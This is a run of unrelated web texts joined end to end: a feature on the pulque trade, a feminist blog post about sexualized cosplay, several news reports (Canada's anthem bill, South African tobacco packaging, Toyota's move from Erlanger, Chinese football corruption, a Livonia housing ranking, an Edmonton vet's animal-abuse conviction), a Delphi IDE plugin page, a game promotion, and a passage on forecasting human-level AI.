These centuries of targeted prejudice were not without effect. Pulquerias, once fixtures on most street corners in big cities, began to drift out of business. Valencia recalls that as the pulque market dried up while he was in school, sweet aguamiel was sold as a cheaper alternative to soda instead of being fermented.
As pulque hit the lows of Valencia’s childhood, Rodolfo Del Razo, a tlachiquero from Tlaxcala, was working to refine the process of pasteurizing pulque so that it could be introduced to export markets. The technique took Del Razo around 30 years to perfect. Basically, fresh pulque is first heat-treated in a pasteurization machine and then poured into cans. The cans are sealed, placed into hot water to reduce the risk of thermal shock, and then quality checked before being packed into pallets. It’s a tricky process: if fermentation is not stopped completely, the cans bulge and then explode; too much heat, however, will affect the taste. But in 1994, he finally succeeded.
Real pulque smells “like fruit left out too long.”
In the last decade or so, pulque’s fortunes have begun to change. “In 2005, when I was in Mexico City, pulquerias were populated by young Mexican students dressed in black and listening to Bob Marley,” says Nemser. “My sense is that pulque had become a symbol of subculture, a way to incorporate the indigenous past into their identity.” By 2013, he says, there were multi-level pulque bars located in upper-class neighborhoods. It looked like pulquerias, in some pockets at least, had become trendy.
But this revival appears to be confined to Mexico, despite Del Razo’s efforts. In April this year, the New York Times published a piece about the next wave of agave spirits— sotol, bacanora, and raicilla—edging their way into cocktail lists. But pulque, their pre-Columbian predecessor, seems to have been passed over. Weinthaler admits that tequila and mezcal still make up the bulk of her portfolio. “If someone were to say I’m going to get a license just to sell pulque, I would say good luck with that,” she says.
Mixologist Junior Merino, who promoted traditional beverages for the Mexican government until President Nieto took office in 2012, believes that pulque could reach more consumers if it were marketed to even a fraction of the extent that cerveza, tequila, and mezcal have been, even with the limitations of pasteurization. “With more showcases and events, people will get excited about it. It could be an amazing product, but if no one knows about it, who cares?” He adds that the beverage needs a stronger distribution network as well: “You used to be able to find it, and now it’s harder,” says Merino.
Pulque straight from the source in Puebla, Mexico. Pasteurization stops pulque’s fermentation process, allowing it to reach new audiences, but also changes its character.
As Merino points out, the supply hasn’t always been consistent or widespread. Dan Benavidez, a former consultant with Boulder Imports in Colorado, was the first to bring pulque to the US in the early 2000s. He imported Nectar Del Razo and the now-defunct Pulque la Lucha labels to 22 states in the country. But around 2008, the producers didn’t think the market was growing fast enough, he says, and there was a hiatus in exports. Weinthaler, who is licensed for the Illinois market, says that about two years ago, when the Del Razos were in the process of selling their Pulque Hacienda 1881 brand, she didn’t have any pulque to sell. “It took some time for the new owners to be sure they wanted to continue doing business in the US,” she says.
Currently, pulque is only sold in four states: New York, California, Illinois, and Washington. And even there, it’s not likely you’ll find six-packs of pulque on your local supermarket shelves. Chances are better in small bodegas—say, Mexico 2000 in Williamsburg, Brooklyn, or El Popo Mini Market in Jackson Heights, Queens—but you have to know what you’re looking for and hope they have a couple of cans in stock. And there are only two brands widely available within this niche market: Nectar Del Razo, the kind Valencia uses, and Pulque Hacienda 1881. Both offer a natural flavor, as well as variants like strawberry and coco-piña, and retail for around $2.50 a can.
Back in Puebla, the price for pulque is between 5-8 pesos per liter (around 30 cents), making it difficult for small-scale independent producers like Roldán to stay in production. Of his four brothers, he is the only one making pulque. His brother-in-law has chosen to grow corn and fava beans. Roldán has been collecting aguamiel since he was 13; he says he does it because his father used to do it. But his son, still young, does not seem interested. “He would like to study and go to college.”
The fermentation process occurring in Roldán’s shed makes the syrupy-clear “honey water” frothy and milky.
The tlachiquero didn’t have much to say about the practice of commercializing pulque for export—his pulque doesn’t travel farther than the next town, and growing international demand would just make it more likely that the acocote will soon shift from the hands of small producers to commercial stakeholders.
Even as small-scale pulque producers in Mexico face an uncertain future, Lampert from the Tequila Interchange Project hopes that some enterprising farmer considers producing pulque within the US. “I think we’ll see that kind of agave grown in Texas or Arizona within the next decade,” she says.
But until then, there is one way to try unpasteurized pulque in New York. La Contenta’s Valencia has a “friend in Tlaxcala” who brings over three liters or so every few weeks. The bartender can’t sell it, but he can offer his customers samples for free, poured out sparingly into shot glasses. “I put it in the freezer and use it little by little. This way, at least people will get to know the real flavor,” he says. On the night I visited, I was lucky enough to try the last of his current batch. It tasted nothing like juice.UPDATE: I have written a better and more developed version of this article as a presentation for the Popular Culture Association/American Culture Association conference in 2012. You can read the updated version of this article here. (Also, hello WisCon 36 attendees! I wish I was there!)
Cross-posted at From Austin to A&M.
There is a difficult conversation to be had about self-objectifying geeks. (I’m looking at you, slave Leias.) And while feminist geeks have been addressing this issue for a while now, it seems that more mainstream geek culture has caught up with us. Comic-Con actually had a panel this year called “Oh, You Sexy Geek!,” in which they were to discuss the implications of sexy women in geek culture. From the online program:
Does displaying the sexiness of fangirls benefit or demean them? When geek girls show off, are they liberating themselves or pandering to men? Do some “fake fangirls” blend sex appeal with nerdiness just to appeal to the growing geek/nerd market, or is that question itself unfair? And what’s up with all the Slave Leias?
I’ve been researching and thinking about cosplay for a while now, and one of the most distressing trends I’ve been grappling with is how women will choose characters, costumes, or costume constructions based on how “sexy” the costume will appear on them. This is not just a cosplay problem, but a geek problem. And until we start having an intelligent conversation about it (preferably a conversation that starts with the assumption that it is a problem), it’s not one that geek communities will ever be rid of. (A little unsurprisingly, the Comic-Con panel was apparently sort of terrible. We’ll get to that in a minute.)
As I’ve argued before, the sexisms that persist in geek communities are not special. They are not separable and inherently different from sexist thoughts and behaviors in the”real world.” They are part and parcel of regular ole sexism, not a special geek dude brand invented outside of patriarchy. So with that in mind, it’s important to remember that the sexualization of women is something that women and men consume and internalize all over the place. Though it does seem to be particularly bad in geek media. Video games, comics, science fiction, fantasy: these media forms are often at fault for promoting unrealistic (and, pretty regularly, physically impossible) standards of beauty. They fashion their female heroines and villains as sexy objects to be consumed, unlike their male counterparts.
As I said to Amanda Hess last year, being the sexy object is one of the places where geek women can find acceptance in their communities. From the interview:
When I was on the “Geek Girls in Popular Culture” panel at ApolloCon, we talked about this nonsense for quite a while, because, as a couple of the panelists pointed out, it seems like a geek woman can only get attention if she’s conventionally beautiful and willing to objectify herself. When geek women choose to self-objectify at geek events, they are not doing so in a vacuum. So while I think it’s possible that some of them are trying to feel empowered in their sexuality, and reclaim their femininity, they cannot escape the fact that this is a culture that embraces female fans almost exclusively as sexy objects. In other words, a feminist can wear high heels, but she shouldn’t lie to herself about what that means.
The problem then, isn’t that women are objectifying themselves. That’s like holding a panel asking if women are liberating themselves or pandering to men for wearing mascara/high heels/Spanx/bras, curling or straightening their hair, or shaving their legs and underarms. Because it’s easy to blame women, right? It’s easy to say that if women don’t want to be objectified, they shouldn’t dress sexy or do the beauty work asked of them.
And it’s easy to get angry at Team Unicorn for so obviously pandering to the male gaze and framing themselves as sex objects for male geeks. It’s easy to hate Olivia Munn and point to her as everything that is wrong with geek women or geek culture. It’s easy to roll your eyes at the ubiquitous sexy cosplayers, and blame them for the objectification of women in geek cultures.
But the actions of women are not the cause of their objectification. Women have a lot of good reasons to perform beauty work and to dress sexy, especially in the sexist cultures represented at your average con. Women aren’t the problem, whether they crossplay and eschew femininity altogether or they pull out the sexy Leia costume. The problem is that women who dress sexy, who frame themselves as sex objects, are rewarded by geek culture for doing so. They get attention, approval, and recognition from the culture when they dress as sexy Leia (or any sexy geek thing). They have pictures taken of them at cons, and they get posted and reposted on the internet. They are recognized as geeks (and generally as somewhat authentic geeks, even if they aren’t talked about that way) and welcomed into the community (maybe not as full members, but at least as desirable). There’s nothing wrong with wanting attention and approval in one’s community. What cosplayer and geek wouldn’t want those things? What female geek doesn’t want to be welcomed into the community with enthusiasm and excitement (instead of derided as a harpy feminist or annoying squeeing fangirl)? The problem, then, isn’t what women do, but a culture in which the only way that women can be recognized as a desirable part of the culture is when they participate by making themselves consumable sexy objects for geek men.
The panel at Comic-Con was framed poorly, and perhaps that’s why it turned into a goddamn mess, with panelists suggesting the women criticizing sexy cosplayers were “just jealous,” one panelist arguing the women are all a bunch of bitches, another claiming”I can’t help it that some of the characters I like to cosplay are scantily clad,” and the only male panelist showing up 5 minutes before the panel ended and making an inappropriate sexual joke (synopsis from Feminist Fatale). Well, one of the reasons. Another reason is probably that geek cultures tend to think we’re beyond feminism, and Suzanne Scott claims that the panel
devolved into a postfeminist panel, in which feminism was invoked and then discarded as no longer necessary (or too “old fashioned,” or some form of buzzkillery we need to”get over”).
This is unsurprising, if disappointing. Because geek cultures often think of themselves as countercultural, they dont usually believe they are tainted by the sexism, racism, ableism, ageism, ad naseum that infect popular culture. And there are entire blogs that prove that nonsense untrue.
This whole conversation needs to change focus. Individual geeks and cosplayers have their own reasons for dressing as they do or presenting themselves as they do. Those reasons can indeed involve their thinking that dressing as sexy Leia is empowering, for whatever reason. And we shouldnt be dismissing those reasons. But the trend of sexy geek cosplaying, the trend of geek women objectifying and sexualizing themselves, that a whole ‘nother ballgame. We need to be talking about this as a problem of our culture, not a problem that women bring upon themselves.
RELATED UPDATE: I just discovered the Fashionably Geek blog, and what. the. fuck:
ANOTHER UPDATE: I’m not too comfortable with how much my post (and now the comments) are hyper-focusing on slave Leia cosplayers. This is about sexy cosplayers of all stripes, including ones like the above, which alter a costume to make it sexy. Please keep in mind that we are talking about a large group of cosplayers, not just the slave Leias.OTTAWA — Ailing Liberal MP Mauril Belanger was in the House of Commons today as his private member’s bill to render O Canada more gender neutral cleared one final hurdle.
The legislation still requires the approval of the Senate, however, which means Belanger — who was diagnosed last November with Lou Gehrig’s disease — may not live to see it become law.
Bill C-210, which would change the second line of the anthem from “true patriot love, in all thy sons command” to “in all of us command,” passed third and final reading in the Commons by a margin of 225-74.
As the vote began, Liberal MPs stood and applauded Belanger, who sat in the House in his wheelchair. Many flashed him a thumbs-up sign, his trademark gesture, as their votes were registered.
When it was done, the entire House broke into an impromptu rendition of O Canada, as well as a rousing standing ovation.
The anthem change has been a Belanger cause for years, but took on far greater urgency in recent months after it was confirmed he has an incurable, fatal, neurodegenerative condition also known as ALS.
Belanger ran and easily won election for a seventh time in October, but found he was having difficulty speaking during the final weeks of the long campaign. He went public with his condition at the end of November, saying he would drop out of the race to be Speaker of the Commons, a position he had long coveted.
Belanger’s disease is a particularly aggressive version of ALS — a fact made plain by the alarming rate at which his condition appeared to erode.
By January, when he introduced his bill, he had lost his ability to speak, and so needed a voice generator to convert text into computerized speech — the first use of such technology in the Commons.
Related: Mauril Belanger on updating O Canada: ‘We are in 2016!’
In March, he was named honorary Speaker. He shuffled down the corridors of the Centre Block using a walker. He had to be helped into the chair. He presided using a tablet and, at one point, mopped tears from his eyes.
In early May, he used the iPad again to open second reading of his bill. He seemed noticeably thinner. His collar was loose to accommodate a tube inserted in his throat to help him breathe and keep his lungs clear of fluid.
The Conservatives opposed the bill on the grounds that important pieces of the national heritage shouldn’t be trifled with. If they are changed, it should be with broad consent of Canadians, they argued.
However, a number of Tory MPs — Gerry Ritz, Peter Kent, Michelle Rempel and Candice Bergen, among others — voted to support the legislation.
Belanger has said the change would actually return the anthem closer to the original “thou dost in us command” — wording that was changed to “all thy sons” in 1913, presumably to honour men in the armed forces at the approach of the First World War.
Since then, Belanger said, women have won the right to vote, to run for office and to die in combat as members of the military and the anthem should not slight half the population.
The Conservatives tried to resurrect “thou dost in us command” in the 2010 speech from the throne, only to face strong public opposition. They dropped the idea.CAPE TOWN (Reuters) - South Africa aims to force cigarette companies to sell products in plain packets by next year, despite an ongoing World Trade Organisation (WTO) investigation into Australia’s ban on tobacco branding, the health minister said on Thursday.
South Africa, New Zealand, France, India and Britain are all considering adopting standardized packaging on tobacco products but the African country hadn’t previously given a time frame.
Opponents of the law, who say it is heavy-handed and an invitation to counterfeiters, had hoped other countries would hold off from following Australia’s example pending a WTO case addressing complaints by tobacco-producing countries.
“I am not even sure we can wait for that WTO decision. We can start making preparations now,” South African Health Minister Aaron Motsoaledi told Reuters.
“I want it as soon as possible but realistically and most probably it would be next year,” said Motsoaledi, a former smoker who quit in his final year of medical studies more than three decades ago.
Since late 2012, tobacco products in Australia can only be sold in drab, olive-colored packets that look more like military or prison issue, with brands printed in small fonts.
The WTO put together a panel on May 5 to judge on a dispute between Australia and tobacco lobbies who say the legislation is a barrier to trade and restricts intellectual property.
The panel has six months to make its ruling but the dispute could drag on for many more months or even years if countries appeal or disagree over the level of compliance.
As well as its huge importance for the global tobacco industry, the case could have implications in other sectors, as some public health advocates see potential for plain packaging laws to extend into areas such as alcohol and unhealthy foods.
South Africa already has bold health warnings on packaging and has banned smoking in many public places but health experts want tougher restrictions, including a ban on puffing in cars when traveling with children under the age of 12 years.
“We are losing gains we’ve made in the last decade and it is imperative we implement plain packaging,” said Priscilla Reddy, a professor at the Human Sciences Research Council in Cape Town.
“It is the only and obvious route to better public health, particularly among youth,” Reddy added.
The World Health Organisation estimates that in 2012 tobacco killed six million people worldwide, 600,000 of whom were non-smokers killed by inhaling smoke passively.
Motsoaledi said he expected a fight from the tobacco industry but remained undaunted.
“They are going to be very vocal and kick dust and we are prepared to fight,” he said.Buy Photo The entrance of Toyota in Erlanger. (Photo: The Enquirer/Pat Reddy)Buy Photo
Toyota is closing its Erlanger headquarters and moving almost 1,600 jobs out of Northern Kentucky as part of a nationwide consolidation of the company's operations.
Company officials gathered employees at its Erlanger offices Monday afternoon to tell them the news. All workers there will be offered jobs either at Toyota's new headquarters in Plano, Texas, or at an expanded technical center in Michigan.
A few hundred engineers also may move to the company's manufacturing plant in Georgetown, Ky., where more than 7,000 people now work.
The Georgetown plant will not be affected by the moves announced Monday.
The decision to pull out of Erlanger, home to Toyota's North American engineering and manufacturing headquarters since 1996, is a huge blow to the region and to the workers who will be displaced.
"We know this is tough news for our employees and the community," said Toyota spokesman Mike Goss. "We recognize the impact. But at the same time, I know this is the right business decision."
More: Employees shocked at announcement
More: Erlanger officials find out about move from media
Reactions: 'Extremely disappointed'
More: What you need to know
The announcement blindsided many employees and local officials, who said they didn't hear from the company until the announcement was made Monday and didn't have an opportunity to make a case to keep Toyota here.
"I heard not a word, not a hint from the people we work with all the time out there," said Erlanger Mayor Tom Rouse. "We'll survive, but I'm more concerned about the local people who work for Toyota. It's really tough."
He said he's optimistic the city can find another company to move into Toyota's headquarters, which has been updated at least twice since it opened. But economic development officials said it will be tough to replace Toyota.
"It is shocking. It's a significant loss to our region," said Doug Moormann, vice president at Development Strategies Group, an economic consulting firm. "It's a difficult loss. Those are high-caliber jobs. It's a headquarters operation, and they're tough jobs to replace."
Gov. Steve Beshear said the state will do its best to help Northern Kentucky recover quickly from the loss and said he expects Toyota to offer top-notch severance packages to its employees. He said he's confident Toyota's operations in Georgetown are not in danger of relocation and will continue to expand.
"We will do everything possible to maintain and strengthen Kentucky's position as one of the top states for the auto industry," Beshear said.
NEWSLETTERS Get the News Alerts newsletter delivered to your inbox We're sorry, but something went wrong Be the first to be informed of important news as it happens in Greater Cincinnati. Please try again soon, or contact Customer Service at 1-800-876-4500. Delivery: Varies Invalid email address Thank you! You're almost signed up for News Alerts Keep an eye out for an email to confirm your newsletter registration. More newsletters
Goss said Toyota will move about 1,000 administrative workers in accounting, finance and information systems to Plano, where a new headquarters is expected to open by early 2017. Another 300 engineers will move to Georgetown, and about 250 procurement employees will shift to a technical center in Ann Arbor, Mich.
Toyota also is moving jobs from California and New York to the new Plano headquarters. More than 4,000 workers nationwide will be affected by the moves.
More: Get Toyota's latest stock price
Toyota is one of the largest employers in Erlanger and Kenton County, which has struggled to recover in the post-recession economy. Kenton County's unemployment rate of 6.4 percent is the highest today among Greater Cincinnati's seven largest counties.
The company also is a significant cultural presence in Northern Kentucky, where it routinely sponsors events and is active in philanthropy.
Buy Photo Where Toyota is located. (Photo: The Enquirer/Randy Mazzola)
The decision to relocate came after years of studying how to make the company's North American operations more efficient, Goss said.
He said Texas, which has pushed hard for years to lure companies from California and the Midwest, is a logical choice because of its central location and proximity to transportation hubs and international ports. He said company officials also wanted to start from scratch in a new location rather than move various administrative, procurement and sales offices into an existing facility.
Texas officials told the Associated Press on Monday that the state offered Toyota $40 million in incentives to move to Plano.
Construction of the new headquarters should begin soon and is expected to be complete in two to three years.
"This is the most significant change we've made to our North American operations in the past 50 years, and we are excited for what the future holds," said Jim Lentz, CEO of Toyota's North American region.
Plano also might be appealing to Toyota because it has no state income tax and is located just north of Dallas and that city's international airport. When Toyota moved its headquarters to Erlanger almost 20 years ago, the company received tax breaks from the state and cited the importance of international flights out the nearby Cincinnati/Northern Kentucky Airport.
Many of those flights were lost when Delta Airlines closed its hub here and dramatically reduced operations at the airport.
Although they were caught flat-footed by Toyota's announcement, state and local officials said they would get to work immediately on a recovery plan. They admitted it won't be easy.
Rouse said Erlanger's annual $17 million budget relies heavily on Toyota, and state officials said the loss of so many jobs would affect the entire region.
They said the skilled workforce Toyota will leave behind should help attract other companies to fill the void.
"Our human capital has been enhanced tremendously by Toyota's ways of training, of instilling community involvement and of a commitment to continuous improvement," said Dan Tobergte, CEO of the Tri-County Economic Development Corporation. "Those that stay will be quite sought after."
Read the letter from Toyota to Gov. Steve Beshear:
Social media reactions:
Read or Share this story: http://cin.ci/1m1smTVSentences were handed down in corruption trials targeting former Chinese Football Association officials as well as players yesterday in northeastern Liaoning province. The sentences have fans hoping that this is the blow necessary to stamp out corruption and match fixing in Chinese football.
Former CFA heads Nan Yong and Xie Yalong were both sentenced to ten and a half years in jail for their bribe taking of around $250,000 each. The verdicts were in line with what was expected and similar to the punishments that referees caught up in the corruption scandal received earlier this year.
Only a trickle of facts from the trials were ever released in the media, but it was obvious that guilty verdicts would be handed down almost from the start. Xie protested that his confessions were coerced and that he was tortured, but this was generally ignored.
Also receiving sentences yesterday were four former national teamers and members of China’s 2002 World Cup squad, including Qi Hong and Shen Si. The four were part of a match fixing scandal that saw Shanghai Shenhua (allegedly) buy the 2003 league title.
The publicity surrounding these trials and the new attention for Chinese football internationally has fans hoping that the “bad old days” of corruption are now a thing of the past. Yet there are still plenty of pessimists who feel that this corruption case wasn’t thorough enough and not all guilty parties were caught in the net.
It’s extremely difficult to say what the outcome of these trials really means. Whilst its generally accepted that the game has been cleaner for the last few years, the opaque nature of Chinese society means that suspicion of match-fixing is always there. Even if there is nothing going wrong at any particular moment, there will always be those who believe something is amiss even when there isn’t.
Most of all its important to keep things in perspective – Italy is embroiled in another scandal at the moment, its just one of many which have come to the fore in recent years, proving that corruption in football is far from a Chinese problem only. And whilst these punishments and investigations are to be welcomed, its unwise to take anything at face value in China.
The only long term solution to the issue is full transparency at all levels.Livonia city hall (Photo: File photo)
Livonia's 48154 ZIP code is one of the hottest real estate markets in the country, according to a recent study by Realtor.com.
Livonia came in second on the 10-city list, right behind Watauga, Texas' 76148 ZIP code. Kentwood, Mich.'s 49548 ZIP code ranked third.
Livonia's 48154 ZIP code roughly covers the area between 6 Mile Road and I-96 and Eckles and Inkster Roads.
The study looked at 32,000 ZIP codes and the time it takes properties to sell in them and how frequently Realtor.com users view homes in each. Only one ZIP code per metro area was included in the list.
Read more:
Homes in the top markets sell an average of 21-50 days faster than the rest of the country and Realtor.com users view the listings in these markets four times more often, according to the study, which also broke down median listing prices, job growth and unemployment percentages.
Livonia's median home listing price was $223,780 with properties staying on the market for an average of 21 days. Job growth was 1% and unemployment 6.3%.
Kentwood, Mich.'s median listing price was $118,833 with properties on the market for 16 days. Job growth was 2% and unemployment at 3.2%.
Realtor.com says millennial home buying plays a large role in the rankings, with the hottest markets being the ones that appeal to what millennials want in a new home and location, including affordability, hiking trails, restaurants and nightlife.
A release by Realtor.com listed the key factors heating things up in the top 10 markets:
Relative affordability: The median price for a home in these markets is $360,000 — 1.4 times more than the national median — with prices in five of the top 10 ZIPs exceeding the national average. However, when compared to their immediate surrounding metro area, the median home listing price is lower in six of the top 10 ZIPs and when compared to the county, eight are lower.
The median price for a home in these markets is $360,000 — 1.4 times more than the national median — with prices in five of the top 10 ZIPs exceeding the national average. However, when compared to their immediate surrounding metro area, the median home listing price is lower in six of the top 10 ZIPs and when compared to the county, eight are lower. Large shares of older millennials: Millennials aged 25 to 34 make up 17% of households in the top 10 ZIPs, compared to 15% nationally. Older millennial households comprise a greater share of households than their national share in eight out of the top 10 ZIPs. They also make up the largest share of mortgage originations, with 25-to-34-year-olds accounting for 36% of mortgages and 35-to-44-year-olds making up 30%.
Millennials aged 25 to 34 make up 17% of households in the top 10 ZIPs, compared to 15% nationally. Older millennial households comprise a greater share of households than their national share in eight out of the top 10 ZIPs. They also make up the largest share of mortgage originations, with 25-to-34-year-olds accounting for 36% of mortgages and 35-to-44-year-olds making up 30%. High millennial ownership rates: Eight of the top 10 ZIP codes have a higher home ownership rate among 25-to-34-year-olds than in their surrounding county as a whole. The average 25-to-34-year-old home ownership rate in top 10 ZIP codes is 50%, compared to 39% in their respective counties and 41% nationally.
Eight of the top 10 ZIP codes have a higher home ownership rate among 25-to-34-year-olds than in their surrounding county as a whole. The average 25-to-34-year-old home ownership rate in top 10 ZIP codes is 50%, compared to 39% in their respective counties and 41% nationally. Strong job markets: The top 10 ZIP codes are located in counties with an average unemployment rate of 3.6%, well below the overall national unemployment rate of 4.4%.
The top 10 ZIP codes are located in counties with an average unemployment rate of 3.6%, well below the overall national unemployment rate of 4.4%. High salaries: In nine out of the top 10 ZIP codes, the median household income is higher than the national median. The average household income among the top 10 is $75,829, 1.3 times the $57,462 national median. This is true for millennial segment as well; the average household income for 25-to-34-year-olds in the top 10 is $74,635, 1.3 times the $55,871 national median.
Read or Share this story: http://on.freep.com/2yx1CKVDual FileView is Delphi IDE extension. This extension allows you to look at two places in a single (current edited) file in the IDE simultaneously. Added view is readonly.
Supported Delphi version: 2007, 2010, XE. For 2009 please contact me.
Features: look at the on video
Fully dockable in IDE (see screenshot)
Hightlighters with colors and font from IDE
Keep data in second view until main editor is saved
Simple navigation, remember position for opened files
Can be selected different file than edited
Simple installation
download Free Dual FileView V0.3
Version 0.3 is free.
current version - in docked mode
version 0.3 - in undocked mode
Usage: after installation, in help menu select "Show Dual FileView" menu item and when window is moved to right position, use Save Layout.
Installation
Version History: 0.7.2 - support not sync mode (user can select another file - from disk or from project files) - in window title is displayed filename - small compatibility fixes 0.6 - installation 0.5 - Syntax Hightlighter - colors from IDE - popupmenu with simple navigation 0.4 - Refresh view after Save 0.3 - Initial public release - use Delphi editor font
Instalation for version 0.3 (commercial version include installer):An Edmonton veterinarian has been found guilty of four charges related to animal abuse.
Dr. Jun Yang, 48, was accused of choking, punching and kicking two dogs at his clinic in northeast Edmonton. He was also found guilty Monday of not providing the dogs with adequate food, water, shelter and space.
“It’s clear these dogs suffered physically, emotionally and psychologically,” judge Ferne LeReverend said.
Two dogs were seized from the Hollick Kenyon Veterinary Clinic in April 2016 after an extended period of abuse that began in August 2015.
READ MORE: Edmonton vet charged with animal abuse
The dogs were registered to the clinic and staying there as office dogs. The clinic had been responsible for the dogs’ daily care.
Yang is currently still practicing and has no restrictions against him, despite a request from the Crown prosecutor in the case.
“There is currently no conditions on him in respect to dealing with animals,” Christian Lim said. “The Crown, of course, is concerned with respect to the public interest that after a conviction – especially on four charges – that we wanted the court at least to consider some kind of restraining order, in essence, for dealing with animals.”
The dogs are still under the care of Animal Control and Lim said they are doing much better and will soon be looking for a new home.
“They have gained weight, they’re happy and they’re healthy.”
Yang will be sentenced on Friday morning. Lim said the Crown asked for a bit of time to determine an appropriate sentence.
“This is a veterinarian so a lot of people, of course, are trusting the veterinarian for their expertise,” he said.
“So we need to balance that out and look at the case law and exactly what is an appropriate sentence that deals with this specific situation here, which is of course very serious.”
READ MORE: Former staff member accuses Edmonton veterinarian of hitting his own dogs
Yang was found guilty under the Criminal Code of wilfully causing unnecessary pain, suffering or injury to two dogs, which carries a maximum jail sentence of 18 months.
The other three charges were under the Animal Protection Act and carry a maximum fine of $20,000.Update - November 15, 2016:
With the arrival of our latest patch on Tuesday, November 15, the free Heroes offered by this promotion have been replaced by Jaina, Muradin, and Tyrande in order to better accommodate new players who have just completed the Heroes of the Storm tutorial missions.
Returning players who did not already claim a free Hero prior to our November 15 patch will now be able to add Jaina, Muradin, or Tyrande to their collections. Please visit the patch notes for additional details.
How to Earn your Hero:
Just play Heroes of the Storm - it’s as simple as that! Anyone who logs into Heroes after our next major patch goes live on September 13 will be met with a new popup asking them to claim their reward. Choices will be final, so take some time to look over your options using the detail screen provided for each Hero before locking in your decision.
Who Can I Choose?
Everyone will be given a choice between three Heroes to begin with – Tyrande, Anub’arak, and Thrall. If you already own any of these Heroes, they will be replaced with Nazeebo, Sonya, and Uther, in that order. If you already own all six of these Heroes, we will grant you their equivalent value in Gold (4,000)! All of the free Hero choices have the same Gold and real money value, so don’t worry about trying to find the best bang for your buck, just choose the Hero that you want to play!
We hope you’ll enjoy this new addition to your Hero roster. We’ll see you |
times the cost of the median-skilled human doing that job.
One could change these and other parameters to arrive at definitions of HLMI that have different implications. If you were primarily interested in AI’s effects on the job market, you might instead want to forecast when we’ll have machines that can replace median-skilled workers in 70% of occupations with 12 months of training at human cost. Or if you were primarily interested in loss of control scenarios, you might instead choose a particular subset of human occupations (AI research, computer security, negotiation, intelligence analysis, etc.) and try to forecast when a machine will be able to achieve the performance of the 90th-percentile-skilled worker (among those doing each of those jobs) with one month of training, at any cost.
Unfortunately, extant HLMI forecasts rarely define so precisely what level of technological capability they’re trying to forecast, so if we take the outputs of expert surveys and other forecast summaries as some evidence for true HLMI timelines, it’s not clear how we should integrate those forecasts, in part because they might have been trying to forecast radically different things.
Also, we should remember that, no matter what threshold we set for occupations at which the machine has achieved roughly human-level performance, it will probably demonstrate vastly superhuman performance at many or most other occupations by the time it achieves human-level performance at the last one specified by our operationalization. Such an operationalization might suggest that, subjectively, AI capabilities will “woosh” past most HLMI milestones defined in this way, unless the capabilities most relevant to AI self-improvement are the last capabilities to reach human-level, though a “fast takeoff” remains possible even in that scenario.
I did not conduct any literature searches to produce this report. I have been following the small field of HLMI forecasting closely since 2011, and I felt comfortable that I already knew where to find most of the best recent HLMI forecasting work. In the past few years, much of it has been published by Katja Grace and Paul Christiano at AI Impacts. As such, this report leans heavily on their work.
Expert elicitation
Extant expert surveys on HLMI timelines are collected here.
Grace’s summary of Michie (1973), by far the earliest expert survey, is: “Almost all participants predicted human level computing systems would not emerge for over twenty years. They were roughly divided between 20, 50, and more.” Participants were British and American computer scientists working in or near AI.
For most of the surveys, either the participants mostly weren’t AI scientists, or the participants were primarily HLMI researchers/enthusiasts, or the participants weren’t selected for any kind of “objective” criteria (e.g. “attendance at the AI@50 conference” or “people Robin Hanson happened to ask about AI progress”).
The only survey which avoids these three problems is Müller & Bostrom (2014)’s survey of the top-100 most cited living AI scientists (called “TOP100,” data here). The experts were asked:
For the purposes of this question, assume that human scientific activity continues without major negative disruption. By what year would you see a (10% / 50% / 90%) probability for HLMI to exist?
Responses were:
Median responses Mean responses Standard deviation 10% chance of HLMI 2024 2034 33 years 50% chance of HLMI 2050 2072 110 years 90% chance of HLMI 2070 2168 342 years
The medians strongly predict HLMI in the next 50 years, but there is wide disagreement among experts.
I think it would be valuable to conduct roughly this same survey every 3 years, or maybe every 5 years, but try hard to boost the response rate, and maybe expand the sample to the top 300 most-cited living AI scientists.
I also think it would be valuable to conduct a Delphi-style timelines elicitation using roughly these same questions, where the participants are selected both from groups that have been thinking about these issues for a long time (e.g. FHI and MIRI), and also from among AI scientists who gave very diverse answers to the survey but who haven’t devoted their careers to studying these issues.
Katja Grace recently combined all known published individual predictions of HLMI with the results of all known published surveys forecasting HLMI to produce this chart:
(The figure’s caption reads: “Predictions from the MIRI dataset (red = maxIY ≈ ‘AI more likely than not after …’, and green = minPY ≈ ‘AI less likely than not before …’) and surveys. This figure excludes one prediction of 3012 made in 2012, and the Hanson survey, which doesn’t ask directly about prediction dates.”)
After noting the clustering around 2040-2050, Grace lists some common complaints about AI forecasts:
Grace doesn’t find those complaints very compelling. While I don’t necessarily find them compelling in their stated form, there is a weaker version of the first concern that I think is worth noting. Maybe when people have no idea when a technology will be developed, they generally forecast it 10–50 years away, because 10 years feels like the soonest reasonable forecast given that there’s no clear path to the technology, while predicting that anything will take more than 50 years (without very specific obstacles in mind) feels generally overconfident. Eyeballing Grace’s chart above, it looks like the median forecast has been pushed out by about one year per calendar year, staying within the 10–50 year range.
One could further investigate this concern by collecting and analyzing long-term forecasts over time for other technological capabilities, for example ICBMs, space flight, self-driving cars, and quantum computers, if enough such forecasts exist.
Grace does have some concerns about AI forecasts:
She also worries that:
Different people and surveys are predicting different notions of HLMI, as I mentioned above.
The expert performance literature suggests that experts should be poor at forecasting HLMI. See e.g. table 1 of Armstrong & Sotala (2012) and, I would add, the key findings of Mullins (2012), the most exhaustive retrospective analysis of historical technology forecasts I have seen.
HLMI predictions range over about a century. As Grace writes, “this strongly suggests that many individual predictions are inaccurate, though not that the aggregate distribution is uninformative.”
Nevertheless, these expert judgments seem to provide some information. A priori it could have been the case that experts widely agreed that HLMI is at least a century away, but that isn’t the case.
Mullins (2012) suggests that quantitative trend analyses typically yield more accurate technology forecasts than expert judgments do, or indeed than any other forecasting methodology does. What do quantitative trends suggest about HLMI timing?
Trend extrapolation
(This section substantially revised in April 2016; original page here.)
The most common strategy for estimating HLMI timelines via trend extrapolation is to estimate how much computation the human brain does, then extrapolate computing trends to find out by which year we’ll have roughly the computing power of the human brain available for some reasonable cost. This approach suffers from serious weaknesses, and we are inclined to place very little weight on it. But first, here are some examples of this approach, taken from a 2015 post by AI Impacts:
Using one methodology, associated with Hans Moravec, implies that human-brain-equivalent computing power is already available for ~$3/hour. In 2009, Prof. Moravec personally made a longer-term prediction, estimating that it would be 20-30 years from 2009 until a human-brain-equivalent computer could be built for $1000.
Using a different set of assumptions drawn from the estimates of participants in a workshop about the whole brain emulation approach to HLMI, AI Impacts estimates that “an AI might compete with a human earning $100/hour in 12 years, 28 years or 40 years [depending on different assumptions]: between 2027 and 2055.”
AI Impacts also lists a couple of other estimates, one putting the key date between 2042 and 2087 and one putting it around 2019.
Some weaknesses of this approach include:
